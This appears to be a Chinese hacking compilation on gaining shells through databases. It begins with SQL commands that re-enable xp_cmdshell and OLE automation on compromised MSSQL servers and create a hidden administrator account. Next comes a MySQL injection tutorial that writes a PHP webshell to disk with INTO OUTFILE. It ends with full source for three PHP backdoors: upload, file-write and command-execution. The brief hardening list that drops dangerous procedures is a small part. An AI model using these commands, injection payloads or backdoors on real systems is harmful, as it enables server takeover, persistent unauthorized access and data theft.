1433 SQL入侵恢复xp_cmdshell方法总结
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
突破SA的各种困难
常见情况恢复执行xp_cmdshell
1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
--------------
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
-----------------------------
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell
----------------
删除sql危险存储:
复制代码代码如下:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
/*不狐 附上恢复扩展存储过程的办法
先恢复sp_addextendedproc,语句如下:
SQL代码:
复制代码代码如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
再恢复以上所有扩展存储过程
SQL代码:
复制代码代码如下:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 !
接下来我们用SQL语句搞定他
分析器执行的语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
记得有一些关于利用MySQL获得Shell的文章,说的是得到一个root权限,远程连接并建立一个表,在里面插入Shell的内容,然后利用into outfile导出到相应目录,就有了一个后门。我一直没有在意,因为能对MySQL数据库直接操作的机会非常少,而且早已经掌握了,就不用整天拿这个技术当宝,也就淡忘了。Super·Hei看完我的《SQL Injection with MySQL》、《Advanced SQL Injection with MySQL》这两篇文章,就和我说,能不能把导出数据的技术用在注入中,这样可以通过注入获得Shell的机会就很大了,其实关于导出数据在《SQL Injection with MySQL》这篇文章已经提到,而且也挺详细的。本文只讨论通过注入获得Shell,局限性挺大,这种是很灵活的技术,视实际情况而定,但如果利用成功,直接威胁到主机的安全。
实现原理
大家都知道,在MySQL中,无法像MSSQL那样执行script.asp?id=1;insert into table (field) values('angel');--来插入数据,因为MySQL里最多就是用union联合查询。最大的局限就在这里——插入数据,所以我们只能从程序现有的功能入手,其实很多程序都可以提交评论、留言、帖子等,就看程序是怎么把变量插入数据库的。其实道路就在我们身边,靠我们自己去开辟。
不用多说,先看在本地测试的一个简单例子,建立一个表,结构如下:
CREATE TABLE `article` ( `articleid` INT NOT NULL AUTO_INCREMENT , `title` VARCHAR( 200 ) NOT NULL , `content` TEXT NOT NULL , `visible` INT DEFAULT '1' NOT NULL , PRIMARY KEY ( `articleid` ) ); |
浏览文章的文件show.php如下:
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "SELECT * FROM article WHERE articleid=$id and visible=1"; $result = mysql_db_query($dbname,$sql); $row = mysql_fetch_array($result); if (!$row) { echo "该记录不存在"; echo "<p>SQL Query:$sql<p>"; exit; } function html_clean($content){ $content = htmlspecialchars($content); $content = str_replace("\n", "<br>", $content); $content = str_replace(" ", " ", $content); $content = str_replace("\t", ' ', $content); return $content; } echo "<title>".$row['title']."</title>"; echo "<b>标题:</b>".htmlspecialchars($row['title'])."<hr>\n"; echo "<b>内容:</b><p>".html_clean($row['content'])."</p><hr>\n"; echo "SQL Query:$sql"; ?> |
游客提交文章的文件add.php如下:
<? $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); if ($_POST['action']=="add") { if ($title=="" OR $content=="") { echo "您还没有填写完表单。"; exit; } else { $sql="INSERT INTO article (title,content,visible) VALUES('$title','$content','0')"; // 如果 visible 字段为1 ,则表示显示此文。 // 由于是游客提交的,肯定是插入0,管理员审核后更新为1。 mysql_db_query($dbname, $sql); mysql_close(); echo "您已经提交完毕,正在等待管理员审核。"; exit; } } ?> <form action="add.php" method="POST"> 文章标题:<br><input name="title" type="text" size="50" maxlength="100"><p> 文章内容:<br><textarea name="content" cols="50" rows="15"></textarea><p> <input type="hidden" name="action" value="add"><input type="submit" value="提交"> </form> |
很多程序都是直接把用户的数据插入数据库中,需要调用的时候再用函数来处理,就像上面的show.php一样。这样给我们造就了一个机会,就是把我们的WebShell原封不动的写进数据库,很少有程序是将变量处理后才插进数据库的,VBB都是直接放。
我们访问add.php提交我们的代码进文章内容,此时文章是隐藏的,我们怎么知道那篇文章的id呢?其实很简单:
http://127.0.0.1/injection/show.php?id=2 # 这样是浏览正常文章,如果文章不显示,几时存在也会提示不存在。 http://127.0.0.1/injection/show.php?id=2/* # 这样可以注释掉visible字段的判断,则可显示被隐藏的文章。 |
注意看上图的SQL Query那里,只要我们注释掉后面的判断,就可以改变id来找我们的文章了,刚才我们是提交了完整的代码,这个代码是我写的一个小型上传型后门,可以上传任何类型的文件到该脚本所在的目录,但大小不能超过php.ini里的设置。
现在代码已经写入了,现在开始构造我们的into outfile语句了,只要构造正确,我们的导出文件就会乖乖的躺在预定目录里,至于如何找到web绝对路径,如何找到有可写权限的目录,不在本文讨论范围,相信这些也难不到大家。提交:
http://127.0.0.1/injection/show.php?id=2 into outfile 'f:/www/1.php'/* |
返回如下提示:
看到了吧?SQL语句是正确的,尽管出现了错误提示,但只要目录存在并可写,那文件就一定已经被导出:
我们上传的后门也正常执行了,因为php代码并没有被破坏。退一步来说,就算表单的引号被破坏了,我们还是可以在本地构造表单的。
实例
相信大家看到这里已经对通过注入导出WebShell已经有点认识和思路了。上面是一个最简单的,最顺畅的一个例子。看似条件苛刻,实际无处不在,看似简单,实际发挥空间很大,如果灵活运用,危害是不小的,下面就看一个更实际的例子,可以看作是一次完整的渗透测试。
由于我现在不能上网,我就在本地搭建一个和http://www.4ngel.net一摸一样的站点来进行渗透,所有数据库和文件都和网上一样,文章和论坛共用一个数据库,都是我前天备份下来的。我现在去掉了showarticle.php文件中的对于$id过滤的代码。形成一个有漏洞的站点(有点委屈了,55555)。
注意:当前环境是magic_quotes_gpc = Off,有些程序做对输入的变量做了处理,比如VBB,所以gpc打开或关闭无所谓。
整个站点没有提交文章、留言、评论的地方,我们不能从站点上提交我们的代码,幸好,有一个论坛,呵呵,很多地方是可以提交我们的数据的,帖子、签名等,我们就把WebShell的代码写在签名里吧。
然后我们就可以通过文章页面的注入点跨表查询签名的内容,然后导出来,有了WebShell,就算有safe_mode阻拦,但我们要渗透服务器,是基本没有问题的。看上面的第5幅图就知道了,文章查询的是5个字段,我们现在就用union联合查询,关于union联合查询在我的《SQL Injection with MySQL》中已经说得很清楚了,这里不再阐述。我们在union之后的查询中,也指定5个字段“1,1,1,1,1”,查询user表中angel用户,userid为1,如果构造正确,用户存在。页面会正常返回:
http://127.0.0.1/showarticle.php?id=25' union select 1,1,1,1,1 from user where userid=1/* |
我们看看是否真的能查询到论坛的签名的内容,刚才看到出错的SQL语句,知道查询文章内容(content)的字段是第5个,签名的字段名是“signature”,我们把第5个1换成“signature”,然后给前面的$id指定一个不存在的值,这样就可以在原来显示文章内容的地方显示签名的内容了。构造:
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1/* |
嗯,查询成功,开始导出吧,我本地的Web目录是f:/www,这个我是知道的,呵呵,至于大家实际运用的时候,如何获取Web绝对路径,不要来问我。
紧接着刚才我们构造的语句,在后面加上into outfile吧,提交:
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1 into outfile 'f:/www/angel.php'/* |
嗯,出现错误提示了,不管他,反正我们语句没有构造错,而且我的F盘是Everyone完全控制的。自然我们的angel.php也出来了:
看似复杂的东西,实际上是好容易掌握的,最主要是灵活性,程序的代码各异,加上php的特性,利用的办法就多种多样了,不过有一点是要注意的,就是如果要导出数据,单引号一定不能被破坏,可能来自程序代码,可能来自magic_quotes_gpc,只要单引号被破坏了,成功率几乎是零了。
请各位不要用安全天使的站点来练手,既然这篇文章是我写的,我的站点就不会存在这种问题了。
后记
希望本文能起到抛砖引玉的效果,其他更深层的技术,就靠大家自己去探索了,如果本文有什么错漏的地方或对本文有不明白的地方,可以到安全天使的论坛与我交流。下面附上一些我写的、也经常用到的php后门,由于当时才刚学习php不久,下面的代码可能问题很多,如果想用功能更加强大php后门。建议下载我开发的phpspy。
PHP上传型后门
<?php // Codz by angel on 2004, May 26 // Powered by Security Angel Team $msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "上传成功" : "上传失败"; echo $msg; ?> <form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST"> <input NAME="MyFile" TYPE="file"> <input VALUE="提交" TYPE="submit"></form> |
PHP文件生成型后门
<?php // Codz by angel on 2004, May 26 // Powered by Security Angel Team // 去除转义字符 function stripslashes_array(&$array) { while(list($key,$var) = each($array)) { if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) { if (is_string($var)) { $array[$key] = stripslashes($var); } if (is_array($var)) { $array[$key] = stripslashes_array($var); } } } return $array; } // 判断 magic_quotes_gpc 状态 if (get_magic_quotes_gpc()) { $_POST = stripslashes_array($_POST); } // 执行操作 if($_POST['action']=="create"){ $fp=@fopen("".$_POST['filename']."","wb"); $content = $_POST['filedate']; $fw=@fwrite($fp,$content); if ($fw) { echo "<b>恭喜,写入文件成功!</b><a href=".$PHP_SELF.">返回</a>"; exit; } else { echo "<b>写入文件失败,是不是权限的问题?</b><a href=".$PHP_SELF.">返回</a>"; exit; } @fclose($fp); } ?> <form action="" method="post"> 保存的文件名(如:<font color="#FF0000">angel.php</font>):<br> <input type="text" name="filename" size="60"> <p> 文件保存在:<br><?=str_replace('\\','/',dirname(__FILE__))?> <p> 文件内容: <br><textarea name="filedate" cols="60" rows="10"></textarea><br> <input type="hidden" name="action" value="create"><input type="submit" value="保存"> </form> <b>注意:当有相同的文件存在时,将完全改写其内容!</b> |
执行命令型后门
<?php // Codz by angel on 2004, May 26 // Powered by Security Angel Team // 非常简陋的shell,估计会有不少问题。 ?> <form action="" method="post"> 命令:<br> <input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?>> <input name="submit_btn" type="submit" value="执行"></p> 执行结果:<br> <textarea cols="80" rows="20" readonly><?phpif ($command) { system($command);}?></textarea><p> 注意:在windows主机部分命令可能有限制</form> |